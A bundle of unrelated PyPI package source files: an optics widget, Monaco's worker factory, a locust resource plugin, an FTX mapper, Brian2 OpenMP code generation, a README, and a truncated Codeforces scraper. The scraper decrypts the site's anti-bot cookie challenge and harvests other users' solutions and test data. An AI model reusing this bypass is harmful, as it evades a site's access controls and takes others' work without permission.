self.file_with_thickness_mesh = file_name
except Exception as exception:
QMessageBox.critical(self, "Error", exception.args[0], QMessageBox.Ok)
if self.IS_DEVELOP: raise exception
def receive_trigger_signal(self, trigger):
if trigger and trigger.new_object == True:
if trigger.has_additional_parameter("variable_name"):
variable_name = trigger.get_additional_parameter("variable_name").strip()
variable_display_name = trigger.get_additional_parameter("variable_display_name").strip()
variable_value = trigger.get_additional_parameter("variable_value")
variable_um = trigger.get_additional_parameter("variable_um")
if "," in variable_name:
variable_names = variable_name.split(",")
for variable_name in variable_names:
setattr(self, variable_name.strip(), variable_value)
else:
setattr(self, variable_name, variable_value)
self.propagate_wavefront()
#
# overwritten methods to append profile plot
#
def get_titles(self):
titles = super().get_titles()
titles.append("O.E. Profile")
return titles
# def propagate_wavefront(self):
# super().propagate_wavefront()
#
# if self.write_profile_flag == 1:
# xx, yy, s = self.get_optical_element().get_surface_thickness_mesh(self.input_data.get_wavefront())
# write_surface_file(s.T, xx, yy, self.write_profile, overwrite=True)
# print("\nFile for OASYS " + self.write_profile + " written to disk.")
def do_plot_results(self, progressBarValue=80): # OVERWRITTEN
super().do_plot_results(progressBarValue)
if not self.view_type == 0:
if not self.wavefront_to_plot is None:
self.progressBarSet(progressBarValue)
wo_lens = self.get_optical_element()
abscissas_on_lens, lens_thickness = wo_lens.get_surface_thickness_mesh(self.input_data.get_wavefront())
self.plot_data1D(x=abscissas_on_lens*1e6, #TODO check how is possible to plot both refractive surfaces
y=lens_thickness*1e6, # in microns
progressBarValue=progressBarValue + 10,
tabs_canvas_index=4,
plot_canvas_index=4,
calculate_fwhm=False,
title=self.get_titles()[4],
xtitle="Spatial Coordinate along o.e. [$\mu$m]",
ytitle="Total lens thickness [$\mu$m]")
self.progressBarFinished()
if __name__ == "__main__":
import sys
from PyQt5.QtWidgets import QApplication
def get_example_wofry_data():
from wofryimpl.propagator.light_source import WOLightSource
from wofryimpl.beamline.beamline import WOBeamline
from orangecontrib.wofry.util.wofry_objects import WofryData
light_source = WOLightSource(dimension=1,
initialize_from=0,
range_from_h=-0.0003,
range_to_h=0.0003,
# range_from_v=-0.0003,
# range_to_v=0.0003,
number_of_points_h=400,
# number_of_points_v=200,
energy=10000.0,
)
return WofryData(wavefront=light_source.get_wavefront(),
beamline=WOBeamline(light_source=light_source))
a = QApplication(sys.argv)
ow = OWWOThinObject1D()
ow.file_with_thickness_mesh = "/users/srio/Oasys/dabam_profile_139821049876720.dat"
ow.set_input(get_example_wofry_data())
ow.show()
a.exec_()
ow.saveSettings()
|
PypiClean
|
/django-monaco-editor-1.0.9.tar.gz/django-monaco-editor-1.0.9/django_monaco_editor/static/external/monaco-editor/esm/vs/base/worker/defaultWorkerFactory.js
|
import { globals } from '../common/platform.js';
import { logOnceWebWorkerWarning } from '../common/worker/simpleWorker.js';
function getWorker(workerId, label) {
// Option for hosts to overwrite the worker script (used in the standalone editor)
if (globals.MonacoEnvironment) {
if (typeof globals.MonacoEnvironment.getWorker === 'function') {
return globals.MonacoEnvironment.getWorker(workerId, label);
}
if (typeof globals.MonacoEnvironment.getWorkerUrl === 'function') {
return new Worker(globals.MonacoEnvironment.getWorkerUrl(workerId, label));
}
}
// ESM-comment-begin
// if (typeof require === 'function') {
// // check if the JS lives on a different origin
// const workerMain = require.toUrl('./' + workerId);
// const workerUrl = getWorkerBootstrapUrl(workerMain, label);
// return new Worker(workerUrl, { name: label });
// }
// ESM-comment-end
throw new Error("You must define a function MonacoEnvironment.getWorkerUrl or MonacoEnvironment.getWorker");
}
// ESM-comment-begin
// export function getWorkerBootstrapUrl(scriptPath: string, label: string): string {
// if (/^(http:)|(https:)|(file:)/.test(scriptPath)) {
// const currentUrl = String(window.location);
// const currentOrigin = currentUrl.substr(0, currentUrl.length - window.location.hash.length - window.location.search.length - window.location.pathname.length);
// if (scriptPath.substring(0, currentOrigin.length) !== currentOrigin) {
// // this is the cross-origin case
// // i.e. the webpage is running at a different origin than where the scripts are loaded from
// const myPath = 'vs/base/worker/defaultWorkerFactory.js';
// const workerBaseUrl = require.toUrl(myPath).slice(0, -myPath.length);
// const js = `/*${label}*/self.MonacoEnvironment={baseUrl: '${workerBaseUrl}'};importScripts('${scriptPath}');/*${label}*/`;
// const url = `data:text/javascript;charset=utf-8,${encodeURIComponent(js)}`;
// return url;
// }
// }
// return scriptPath + '#' + label;
// }
// ESM-comment-end
function isPromiseLike(obj) {
if (typeof obj.then === 'function') {
return true;
}
return false;
}
/**
* A worker that uses HTML5 web workers so that is has
* its own global scope and its own thread.
*/
var WebWorker = /** @class */ (function () {
function WebWorker(moduleId, id, label, onMessageCallback, onErrorCallback) {
this.id = id;
var workerOrPromise = getWorker('workerMain.js', label);
if (isPromiseLike(workerOrPromise)) {
this.worker = workerOrPromise;
}
else {
this.worker = Promise.resolve(workerOrPromise);
}
this.postMessage(moduleId, []);
this.worker.then(function (w) {
w.onmessage = function (ev) {
onMessageCallback(ev.data);
};
w.onmessageerror = onErrorCallback;
if (typeof w.addEventListener === 'function') {
w.addEventListener('error', onErrorCallback);
}
});
}
WebWorker.prototype.getId = function () {
return this.id;
};
WebWorker.prototype.postMessage = function (message, transfer) {
if (this.worker) {
this.worker.then(function (w) { return w.postMessage(message, transfer); });
}
};
WebWorker.prototype.dispose = function () {
if (this.worker) {
this.worker.then(function (w) { return w.terminate(); });
}
this.worker = null;
};
return WebWorker;
}());
var DefaultWorkerFactory = /** @class */ (function () {
function DefaultWorkerFactory(label) {
this._label = label;
this._webWorkerFailedBeforeError = false;
}
DefaultWorkerFactory.prototype.create = function (moduleId, onMessageCallback, onErrorCallback) {
var _this = this;
var workerId = (++DefaultWorkerFactory.LAST_WORKER_ID);
if (this._webWorkerFailedBeforeError) {
throw this._webWorkerFailedBeforeError;
}
return new WebWorker(moduleId, workerId, this._label || 'anonymous' + workerId, onMessageCallback, function (err) {
logOnceWebWorkerWarning(err);
_this._webWorkerFailedBeforeError = err;
onErrorCallback(err);
});
};
DefaultWorkerFactory.LAST_WORKER_ID = 0;
return DefaultWorkerFactory;
}());
export { DefaultWorkerFactory };
|
PypiClean
|
/thickly-plugins-1.4.1.tar.gz/thickly-plugins-1.4.1/locust_plugins/users/resource.py
|
import logging
import re
from locust import HttpUser
from locust.contrib.fasthttp import FastHttpUser
from lxml import html, etree
class EmbeddedResourceManager:
"""
provides features for finding and managing resources embedded in html
"""
def __init__(
self,
user,
include_resources_by_default,
default_resource_filter,
bundle_resource_stats,
cache_resource_links,
):
# store resource links for requests
self.cache_resource_links = cache_resource_links
self.resource_link_cache = {}
# bundle all stats into single line for each request (_resources)
self.bundle_resource_stats = bundle_resource_stats
self.resource_filter_pattern = re.compile(default_resource_filter)
self.include_resources = include_resources_by_default
# for finding url links in style tags
self.url_link_pattern = re.compile(
r".*URL\(\s*('|\")(.*)('|\")\s*\).*",
re.IGNORECASE | re.MULTILINE | re.DOTALL,
)
# for finding if a link is partial or full
self.full_url_pattern = re.compile("^https?://", re.IGNORECASE)
self.resource_paths = [
'//link[@rel="stylesheet"]/@href',
'//link[@rel="Stylesheet"]/@href',
'//link[@rel="STYLESHEET"]/@href',
"//script/@src",
"//img/@src",
"//source/@src",
"//embed/@src",
"//body/@background",
'//input[@type="image"]/@src',
'//input[@type="IMAGE"]/@src',
'//input[@type="Image"]/@src',
"//object/@data",
"//frame/@src",
"//iframe/@src",
]
self.client = user.client
self.client.request = self._request(self.client.request)
self.host = user.host
def get_embedded_resources(self, response_content, resource_filter):
"""
returns a list of embedded resources in response_content
provide a regex filter to limit what resources are returned
"""
resources = []
# check if defaults have been overridden for this request
if self.cache_resource_links and response_content in self.resource_link_cache:
resources = self.resource_link_cache[response_content]
else:
try:
tree = html.fromstring(response_content)
# check for base tag - otherwise use host for partial urls
base_path_links = tree.xpath("//base/@href")
base_path = base_path_links[0] if len(base_path_links) > 0 else self.host
# build resource list
for resource_path in self.resource_paths:
for resource in tree.xpath(resource_path):
if re.search(self.full_url_pattern, resource) is None:
resource = base_path + "/" + resource
if re.search(resource_filter, resource):
resources.append(resource)
# add style urls
style_tag_texts = tree.xpath("//style/text()")
for text in style_tag_texts:
# check for url
url_matches = re.match(self.url_link_pattern, text)
if url_matches is not None:
resource = url_matches[2]
if re.search(self.full_url_pattern, resource) is None:
resource = base_path + "/" + resource
if re.search(resource_filter, resource):
resources.append(resource)
if self.cache_resource_links:
self.resource_link_cache[response_content] = resources
except etree.ParserError as e:
logging.warning(str(e) + " " + str(response_content))
return resources
def _request(self, func):
def wrapper(
*args, include_resources=self.include_resources, resource_filter=self.resource_filter_pattern, **kwargs
):
response = func(*args, **kwargs)
if include_resources:
content = response.content
if isinstance(content, bytearray):
content = content.decode("utf-8")
resources = self.get_embedded_resources(content, resource_filter)
name = kwargs.get("name", args[1])
for resource in resources:
# determine name for the resource
if self.bundle_resource_stats:
resource_name = name + "_resources"
else:
resource_name = resource
self.client.request("GET", resource, name=resource_name, include_resources=False)
return response
return wrapper
class HttpUserWithResources(HttpUser):
"""
provides embedded resource management for HttpUser
"""
abstract = True
include_resources_by_default = True
default_resource_filter = ".*"
bundle_resource_stats = True
cache_resource_links = True
def __init__(self, *args):
super().__init__(*args)
EmbeddedResourceManager(
self,
self.include_resources_by_default,
self.default_resource_filter,
self.bundle_resource_stats,
self.cache_resource_links,
)
class FastHttpUserWithResources(FastHttpUser):
"""
provides embedded resource management for FastHttpUser
"""
abstract = True
include_resources_by_default = True
default_resource_filter = ".*"
bundle_resource_stats = True
cache_resource_links = True
def __init__(self, *args):
super().__init__(*args)
EmbeddedResourceManager(
self,
self.include_resources_by_default,
self.default_resource_filter,
self.bundle_resource_stats,
self.cache_resource_links,
)
|
PypiClean
|
/quant-trading-tradingtools-0.1.18.tar.gz/quant-trading-tradingtools-0.1.18/tradingtools/exchange/ftx/ftx_response_mapper.py
|
class FTXResponseMapper:
@staticmethod
def map_balance_response(balance: dict) -> dict:
return {
'asset': balance['coin'],
'available': balance['free'],
'total': balance['total'],
}
@staticmethod
def map_order_response(order: dict) -> dict:
return {
'created_at': order['createdAt'],
'id': order['id'],
'symbol': order['future'],
'type': order['type'],
'order_type': order['type'],
'side': order['side'],
'size': order['size'],
'price': order.get('price', order.get('orderPrice')),
'trigger_price': order.get('triggerPrice'),
'filled_size': order.get('filledSize'),
'remaining_size': order.get('remainingSize'),
'status': order['status'],
'reduce_only': order['reduceOnly'],
'ioc': order.get('ioc'),
'post_only': order.get('postOnly'),
'retry_until_filled': order.get('retryUntilFilled'),
}
@staticmethod
def map_position_response(
position: dict,
tickers,
collateral_symbol: str = None,
round_pnl: int = 8,
) -> dict:
if position['side'] == 'buy':
position_current_price = tickers[position['future']]['info']['bid']
else:
position_current_price = tickers[position['future']]['info']['ask']
unrealized_usd_pnl = (
position_current_price * position['netSize'] - position['cost']
)
if collateral_symbol:
collateral_price = tickers[collateral_symbol]['info']['ask']
unrealized_pnl = unrealized_usd_pnl / collateral_price
else:
unrealized_pnl = unrealized_usd_pnl
return {
'symbol': position['future'],
'side': position['side'],
'size': position['netSize'],
'avg_price': position['entryPrice'],
'unrealized_pnl': round(unrealized_pnl, round_pnl),
}
|
PypiClean
|
/Brian2-2.5.4-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl/brian2/devices/cpp_standalone/codeobject.py
|
from brian2.codegen.codeobject import CodeObject, constant_or_scalar
from brian2.codegen.generators.cpp_generator import CPPCodeGenerator, c_data_type
from brian2.codegen.targets import codegen_targets
from brian2.codegen.templates import Templater
from brian2.core.functions import DEFAULT_FUNCTIONS
from brian2.core.preferences import prefs
from brian2.devices.device import get_device
from brian2.utils.stringtools import replace
__all__ = ["CPPStandaloneCodeObject"]
def openmp_pragma(pragma_type):
nb_threads = prefs.devices.cpp_standalone.openmp_threads
openmp_on = not (nb_threads == 0)
## First we need to deal with some special cases that have to be handle in case
## openmp is not activated
if pragma_type == "set_num_threads":
if not openmp_on:
return ""
elif nb_threads > 0:
# We have to fix the exact number of threads in all parallel sections
return f"omp_set_dynamic(0);\nomp_set_num_threads({int(nb_threads)});"
elif pragma_type == "get_thread_num":
if not openmp_on:
return "0"
else:
return "omp_get_thread_num()"
elif pragma_type == "get_num_threads":
if not openmp_on:
return "1"
else:
return f"{int(nb_threads)}"
elif pragma_type == "with_openmp":
# The returned value is a proper Python boolean, i.e. not something
# that should be included in the generated code but rather for use
# in {% if ... %} statements in the template
return openmp_on
## Then by default, if openmp is off, we do not return any pragma statement in the templates
elif not openmp_on:
return ""
## Otherwise, we return the correct pragma statement
elif pragma_type == "static":
return "#pragma omp for schedule(static)"
elif pragma_type == "single":
return "#pragma omp single"
elif pragma_type == "single-nowait":
return "#pragma omp single nowait"
elif pragma_type == "critical":
return "#pragma omp critical"
elif pragma_type == "atomic":
return "#pragma omp atomic"
elif pragma_type == "once":
return "#pragma once"
elif pragma_type == "parallel-static":
return "#pragma omp parallel for schedule(static)"
elif pragma_type == "static-ordered":
return "#pragma omp for schedule(static) ordered"
elif pragma_type == "ordered":
return "#pragma omp ordered"
elif pragma_type == "include":
return "#include <omp.h>"
elif pragma_type == "parallel":
return "#pragma omp parallel"
elif pragma_type == "master":
return "#pragma omp master"
elif pragma_type == "barrier":
return "#pragma omp barrier"
elif pragma_type == "compilation":
return "-fopenmp"
elif pragma_type == "sections":
return "#pragma omp sections"
elif pragma_type == "section":
return "#pragma omp section"
else:
raise ValueError(f'Unknown OpenMP pragma "{pragma_type}"')
class CPPStandaloneCodeObject(CodeObject):
"""
C++ standalone code object
The ``code`` should be a `~brian2.codegen.templates.MultiTemplate`
object with two macros defined, ``main`` (for the main loop code) and
``support_code`` for any support code (e.g. function definitions).
"""
templater = Templater(
"brian2.devices.cpp_standalone",
".cpp",
env_globals={
"c_data_type": c_data_type,
"openmp_pragma": openmp_pragma,
"constant_or_scalar": constant_or_scalar,
"prefs": prefs,
"zip": zip,
},
)
generator_class = CPPCodeGenerator
def __init__(self, *args, **kwds):
super().__init__(*args, **kwds)
#: Store whether this code object defines before/after blocks
self.before_after_blocks = []
def __call__(self, **kwds):
return self.run()
def compile_block(self, block):
pass # Compilation will be handled in device
def run_block(self, block):
if block == "run":
get_device().main_queue.append((f"{block}_code_object", (self,)))
else:
# Check the C++ code whether there is anything to run
cpp_code = getattr(self.code, f"{block}_cpp_file")
if len(cpp_code) and "EMPTY_CODE_BLOCK" not in cpp_code:
get_device().main_queue.append((f"{block}_code_object", (self,)))
self.before_after_blocks.append(block)
codegen_targets.add(CPPStandaloneCodeObject)
# At module initialization time, we do not yet know whether the code will be
# run with OpenMP or not. We therefore use a "dynamic implementation" which
# generates the rand/randn implementation during code generation.
def generate_rand_code(rand_func, owner):
nb_threads = prefs.devices.cpp_standalone.openmp_threads
if nb_threads == 0: # no OpenMP
thread_number = "0"
else:
thread_number = "omp_get_thread_num()"
if rand_func == "rand":
rk_call = "rk_double"
elif rand_func == "randn":
rk_call = "rk_gauss"
else:
raise AssertionError(rand_func)
code = """
double _%RAND_FUNC%(const int _vectorisation_idx) {
return %RK_CALL%(brian::_mersenne_twister_states[%THREAD_NUMBER%]);
}
"""
code = replace(
code,
{
"%THREAD_NUMBER%": thread_number,
"%RAND_FUNC%": rand_func,
"%RK_CALL%": rk_call,
},
)
return {"support_code": code}
rand_impls = DEFAULT_FUNCTIONS["rand"].implementations
rand_impls.add_dynamic_implementation(
CPPStandaloneCodeObject,
code=lambda owner: generate_rand_code("rand", owner),
namespace=lambda owner: {},
name="_rand",
)
randn_impls = DEFAULT_FUNCTIONS["randn"].implementations
randn_impls.add_dynamic_implementation(
CPPStandaloneCodeObject,
code=lambda owner: generate_rand_code("randn", owner),
namespace=lambda owner: {},
name="_randn",
)
|
PypiClean
|
/nni-3.0rc1-py3-none-macosx_10_9_x86_64.whl/nni_node/node_modules/isstream/README.md
|
# isStream
[](http://travis-ci.org/rvagg/isstream)
**Test if an object is a `Stream`**
[](https://nodei.co/npm/isstream/)
The missing `Stream.isStream(obj)`: determine if an object is standard Node.js `Stream`. Works for Node-core `Stream` objects (for 0.8, 0.10, 0.11, and in theory, older and newer versions) and all versions of **[readable-stream](https://github.com/isaacs/readable-stream)**.
## Usage:
```js
var isStream = require('isstream')
var Stream = require('stream')
isStream(new Stream()) // true
isStream({}) // false
isStream(new Stream.Readable()) // true
isStream(new Stream.Writable()) // true
isStream(new Stream.Duplex()) // true
isStream(new Stream.Transform()) // true
isStream(new Stream.PassThrough()) // true
```
## But wait! There's more!
You can also test for `isReadable(obj)`, `isWritable(obj)` and `isDuplex(obj)` to test for implementations of Streams2 (and Streams3) base classes.
```js
var isReadable = require('isstream').isReadable
var isWritable = require('isstream').isWritable
var isDuplex = require('isstream').isDuplex
var Stream = require('stream')
isReadable(new Stream()) // false
isWritable(new Stream()) // false
isDuplex(new Stream()) // false
isReadable(new Stream.Readable()) // true
isReadable(new Stream.Writable()) // false
isReadable(new Stream.Duplex()) // true
isReadable(new Stream.Transform()) // true
isReadable(new Stream.PassThrough()) // true
isWritable(new Stream.Readable()) // false
isWritable(new Stream.Writable()) // true
isWritable(new Stream.Duplex()) // true
isWritable(new Stream.Transform()) // true
isWritable(new Stream.PassThrough()) // true
isDuplex(new Stream.Readable()) // false
isDuplex(new Stream.Writable()) // false
isDuplex(new Stream.Duplex()) // true
isDuplex(new Stream.Transform()) // true
isDuplex(new Stream.PassThrough()) // true
```
*Reminder: when implementing your own streams, please [use **readable-stream** rather than core streams](http://r.va.gg/2014/06/why-i-dont-use-nodes-core-stream-module.html).*
## License
**isStream** is Copyright (c) 2015 Rod Vagg [@rvagg](https://twitter.com/rvagg) and licenced under the MIT licence. All rights not explicitly granted in the MIT license are reserved. See the included LICENSE.md file for more details.
|
PypiClean
|
/ucode-cli-2.5.5.tar.gz/ucode-cli-2.5.5/ucode/oj/codeforces/codeforces.py
|
import codecs
import copy
import pickle
import requests
from bs4 import BeautifulSoup
from ucode.helpers.clog import CLog
from ucode.models.problem import Problem, TestCase
from ucode.oj.codeforces.aes import AESModeOfOperation
from ucode.oj.codeforces.codeforces_helper import to_markdown
from ucode.services.dsa.problem_service import ProblemService
class Codeforces:
def __init__(self):
self.s = requests.session()
self._cookies = {}
self._headers = {
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36',
'origin': "https://codeforces.com",
'referer': "https://codeforces.com/enter",
'sec-fetch-dest': "empty",
'sec-fetch-mode': "cors",
'sec-fetch-site': "same-origin",
'x-requested-with': "XMLHttpRequest"
}
self.csrf = ''
self.rcpc = ''
self.evercookie = "67ano0cpxyd6bygc7w"
self.bfaa = "a60708ec87a45f5b510d7ab2b81a9044"
def gen_RCPC(self, url):
if self.rcpc:
return
r = self.s.get(url)
s = r.text
# print(r.text)
# , a, b, c
L = s.find("a=toNumbers") + 13
if L < 13:
return
R = s[L+20:].find('"') + L + 20
sa = s[L:R]
L = s.find("b=toNumbers") + 13
R = s[L + 20:].find('"') + L + 20
sb = s[L:R]
L = s.find("c=toNumbers") + 13
R = s[L + 20:].find('"') + L + 20
sc = s[L:R]
print("a, b, c:", sa, sb, sc)
a = codecs.decode(sa, 'hex_codec')
b = codecs.decode(sb, 'hex_codec')
c = codecs.decode(sc, 'hex_codec')
aes = AESModeOfOperation()
rcpc = aes.decrypt(c, None, 2, a, aes.aes.keySize["SIZE_128"], b)
rcpc_hex = ''
for c in rcpc:
code = ord(c)
h = hex(code)[2:]
if len(h) < 2:
h = '0' + h
rcpc_hex += h
print("RCPC:", rcpc_hex)
# self.rcpc = self._headers['cookie'] = f"RCPC={rcpc_hex}"
self._cookies = {"RCPC": rcpc_hex}
# self._headers['Set-Cookie'] = {"RCPC":rcpc_hex}
def get_problem_list(self, page_index):
url = f'https://codeforces.com/problemset/page/{page_index}'
headers = copy.deepcopy(self._headers)
r = self.s.get(url, headers=headers)
raw = r.text
# print(raw)
soup = BeautifulSoup(raw, 'html.parser')
self.csrf = soup.select('span.csrf-token')[0]['data-csrf']
# print('CSRF:', self.csrf)
pagination = soup.select('div.pagination > ul > li')
last_page = pagination[-2]
# print(last_page)
last_page_index = int(last_page.select('span.page-index')[0]['pageindex'])
if page_index>last_page_index:
CLog.warn(f'Overpass last page: #{page_index}/{last_page_index}')
return [], last_page_index
CLog.info(f'Getting problem list from page: #{page_index}/{last_page_index}')
problem_tags = soup.select('table.problems > tr')[1:] # remove header line
# print(len(problem_tags))
# print(problem_tags[0])
problems = []
for problem_tag in problem_tags:
problem = Problem()
pid = problem_tag.select('td.id a')[0]
problem.src_id = pid.text.strip()
problem.src_url = 'https://codeforces.com' + pid['href']
ptitle = problem_tag.select('td')[1].select('div')[0]
problem.name = ptitle.select('a')[0].text.strip()
ptags = problem_tag.select('td')[1].select('div')[1].select('a')
for ptag in ptags:
tag = ptag.text.strip()
problem.tags.append(tag)
difficulty = problem_tag.select('td')[3].select('span')
if difficulty:
difficulty = difficulty[0].text.strip()
difficulty = int(difficulty) ** 0.5
dmax = 3800 ** 0.5
dmin = 250 ** 0.5
difficulty = (difficulty - dmin)/(dmax-dmin) * 10
else:
difficulty = 0
problem.difficulty = difficulty
submission_url = problem_tag.select('td')[4].select('a')
if submission_url:
problem.src_status_url = 'https://codeforces.com' + submission_url[0]['href']
problems.append(problem)
# print(problem.name)
# print(problem.src_id)
# print(problem.src_url)
# print(problem.tags)
# print(problem.difficulty)
# break
return problems, last_page_index
def get_problem_from_url(self, url):
problem = Problem()
problem.src_id, problem.src_url, problem.src_status_url = Codeforces.parse(url)
# print(problem.src_url)
CLog.info("Getting problem from url: " + problem.src_url)
url = problem.src_url
self.gen_RCPC(url)
headers = copy.deepcopy(self._headers)
r = self.s.get(url, headers=headers, allow_redirects=True, cookies=self._cookies)
raw = r.text
soup = BeautifulSoup(raw, 'html.parser')
problem_statement = soup.select('div.problem-statement')[0]
print(problem_statement)
title = problem_statement.select('div.title')[0]
title.extract()
title = title.text
if title[1] == "." and 'A' <= title[0] <= 'Z':
title = title[2:].strip()
problem.src_name = problem.name = title
limit_time = problem_statement.select('div.time-limit')[0]
limit_time.select('div')[0].extract()
problem.limit_time = int(''.join(c for c in limit_time.text if c in '0123456789')) * 1000
limit_memory = problem_statement.select('div.memory-limit')[0]
limit_memory.select('div')[0].extract()
# problem.limit_memory = limit_memory.text
problem.limit_memory = int(''.join(c for c in limit_memory.text if c in '0123456789'))
input_type = problem_statement.select('div.input-file')[0]
input_type.select('div')[0].extract()
problem.input_type = input_type.text
output_type = problem_statement.select('div.output-file')[0]
output_type.select('div')[0].extract()
problem.output_type = output_type.text
if problem.input_type.strip() == 'standard input':
problem.input_type = 'stdin'
if problem.output_type.strip() == 'standard output':
problem.output_type = 'stdout'
problem_statement.select('div.header')[0].extract()
input_format = problem_statement.select('div.input-specification')[0]
input_format.select('div.section-title')[0].extract()
problem.input_format = input_format.decode_contents()
input_format.extract()
output_format = problem_statement.select('div.output-specification')[0]
output_format.select('div.section-title')[0].extract()
problem.output_format = output_format.decode_contents()
output_format.extract()
sample_tests = problem_statement.select('div.sample-tests')[0]
inputs = [t.decode_contents().replace("<br/>", "\n").strip() for t in sample_tests.select('div.input > pre')]
outputs = [t.decode_contents().replace("<br/>", "\n").strip() for t in sample_tests.select('div.output > pre')]
sample_tests.extract()
for i in range(len(inputs)):
# print("input: ", inputs[i])
# print("output: ", outputs[i])
testcase = TestCase(inputs[i], outputs[i], name=str(i+1))
problem.testcases_sample.append(testcase)
note = problem_statement.select('div.note')
if note:
note = note[0]
note.select('div.section-title')[0].extract()
# print(note)
explanations = note.select('p')
for i in range(len(inputs)):
if i<len(explanations):
problem.testcases_sample[i].explanation = to_markdown(explanations[i].decode())
# print(problem.stock_testcases[i].explanation)
note.extract()
problem.testcases_sample_note = note.decode_contents()
problem.statement = problem_statement.select('div:not([class])')[0].decode_contents()
problem.difficulty = 0
ptags = soup.select('div.sidebox div.roundbox span.tag-box')
for ptag in ptags:
tag = ptag.text.strip()
if tag[0]=='*' and tag[1:].isdigit():
problem.difficulty = Codeforces.normalize_difficulty(int(tag[1:]))
else:
problem.tags.append(tag)
problem.statement = to_markdown(problem.statement)
problem.testcases_sample_note = to_markdown(problem.testcases_sample_note)
problem.input_format = to_markdown(problem.input_format)
problem.output_format = to_markdown(problem.output_format)
problem.constraints = 'See inline constraints in the input description'
# print(problem.name, problem.limit_time, problem.limit_memory, problem.input_type,
# problem.output_type, problem.src_status_url, sep=' - ')
CLog.info("Problem name: " + problem.name)
# print('=====')
# print(problem.statement)
# print('=====')
# print(problem.input_format)
# print('=====')
# print(problem.output_format)
# print('=====')
# print(problem.tags)
# print('=====')
# print(problem.difficulty)
# print('=====')
# for t in problem.testcases:
# print(t)
# print('----')
# create new session
self.s = requests.session()
self.get_csrf()
submissions_cpp = self.get_submission_list(problem, 'cpp.g++17')
submissions_fpc = self.get_submission_list(problem, 'pas.fpc')
submissions_py3 = self.get_submission_list(problem, 'python.3')
problem.stock_testcases = []
CLog.info("Getting best solutions...")
CLog.info(" C++ solutions: %s" % len(submissions_cpp))
CLog.info(" FPC solutions: %s" % len(submissions_fpc))
CLog.info(" Python3 solutions: %s" % len(submissions_py3))
if submissions_cpp:
solution_cpp, testcases = self.get_solution(submissions_cpp[0], True)
problem.solutions.append({'lang': '11.cpp', 'code': solution_cpp})
for testcase in testcases:
problem.stock_testcases.append(testcase)
CLog.info("Getting all visible testcases...")
CLog.info(" Total visible testcases: %s" % len(problem.stock_testcases))
CLog.info(" Total sample testcases: %s" % len(problem.testcases_sample))
if submissions_fpc:
solution_fpc, tmp = self.get_solution(submissions_fpc[0])
problem.solutions.append({'lang':'pas', 'code': solution_fpc})
if submissions_py3:
submissions_py3, tmp = self.get_solution(submissions_py3[0])
problem.solutions.append({'lang':'py', 'code': submissions_py3})
# print("Solutions:", json.dumps(problem.solutions))
# save_problem(dsa_problem, '../problems')
return problem
def get_submission_list(self, problem, language='anyProgramTypeForInvoker'):
if not problem.src_status_url:
return []
frame_problem_index = problem.src_status_url[problem.src_status_url.rfind('/') + 1:]
url = problem.src_status_url + "?order=BY_CONSUMED_TIME_ASC"
headers = copy.deepcopy(self._headers)
if not self.csrf:
self.get_csrf()
data = {
'csrf_token': self.csrf,
'frameProblemIndex': frame_problem_index,
'action': 'setupSubmissionFilter',
'comparisonType': 'NOT_USED',
'verdictName': "OK",
'programTypeForInvoker': language,
# 'programTypeForInvoker': "anyProgramTypeForInvoker",
# 'programTypeForInvoker': "pas.fpc",
# 'programTypeForInvoker': "python.3",
# 'programTypeForInvoker': "cpp.g++11",
# 'programTypeForInvoker': "cpp.g++14",
# 'programTypeForInvoker': "cpp.g++17",
# 'programTypeForInvoker': "java8",
# '_tta': 248
}
# print(data)
# print(headers)
CLog.info(f"Getting solution list from `{url}`")
r = self.s.post(url, headers=headers, data=data, allow_redirects=True, cookies=self._cookies)
#
if r.status_code != 200:
r = self.s.get(url, headers=headers, data=data, allow_redirects=True, cookies=self._cookies)
print(r.status_code)
# print(r.text)
#
# r = self.s.get(problem.src_status_url, headers=headers)
raw = r.text
# print("status url:", url)
# print(raw)
soup = BeautifulSoup(raw, 'html.parser')
submissions = soup.select('table.status-frame-datatable > tr[data-submission-id]')
# print(submissions)
# print(len(submissions))
# problem.solutions
result = []
for submit in submissions:
submission_url = 'https://codeforces.com/' + submit.select('td')[0].select('a')[0]['href']
submission_id = submit.select('td')[0].select('a')[0].text
submission_problem = submit.select('td')[3].select('a')[0]['href']
submission_language = submit.select('td')[4].text.strip()
submission_status = submit.select('td')[5].select('span > span')[0].text.strip()
submission_time = submit.select('td')[6].text.strip().replace('\xa0', ' ')
submission_memory = submit.select('td')[7].text.strip().replace('\xa0', ' ')
submission = {
'url': submission_url,
'id': submission_id,
'problem': submission_problem,
'lang': submission_language,
'verdict': submission_language,
'status': submission_status,
'time': submission_time,
'memory': submission_memory,
}
# print(submission)
result.append(submission)
# problem.solutions.append(submission)
return result
def get_solution(self, submission, get_test_cases=False):
# submission_url = submission['url']
print("get submission", submission)
headers = copy.deepcopy(self._headers)
# r = self.s.get(submission_url, headers=headers)
# raw = r.text
# soup = BeautifulSoup(raw, 'html.parser')
# print(raw)
# source_code = soup.select('pre#program-source-text')[0].text
# print(source_code)
data = {
'submissionId': submission['id'],
'csrf_token': self.csrf
}
url = "https://codeforces.com/data/submitSource"
r = self.s.post(url, headers=headers, data=data, allow_redirects=True)
print(self.s.cookies.get_dict())
print(headers)
print(data)
print("solutoin", r.text)
CLog.info(f"Getting solution detail from `{url}`")
res = r.json()
source_code = res['source']
if not get_test_cases:
return source_code, []
# print(testcases)
tesst_count = int(res['testCount'])
testcases = []
for t in range(tesst_count):
input_data = res.get('input#%s' % (t + 1))
output_data = res.get('answer#%s' % (t + 1))
if not input_data or not output_data:
continue
if input_data.endswith('...') or output_data.endswith('...'): # uncompleted test data
continue
testcases.append(TestCase(input_data.strip(), output_data.strip(), name=str(t + 1)))
# print(testcases[-1])
return source_code, testcases
@staticmethod
def parse(url):
"""
For problem: https://codeforces.com/problemset/problem/1257/D, the url can be:
- https://codeforces.com/problemset/problem/1257/D
- http://codeforces.com/problemset/problem/1257/D
- codeforces.com/problemset/problem/1257/D
- 1257/D
- 1257D
:param url:
:return:
- refined url: https://codeforces.com/problemset/problem/1257/D
- status url: https://codeforces.com/problemset/status/1257/problem/D
"""
url = url.strip()
status_url = url
problem_id = ''
if url.startswith('https://') or url.startswith('http://'):
problem_id = url[url[:-2].rfind('/')+1:]
elif url.startswith('codeforces.com'):
url = "https://" + url
problem_id = url[url[:-2].rindex('/') + 1:]
else:
problem_id = url
if url.find('/')<0:
problem_id = problem_id[:-1] + "/" + problem_id[-1]
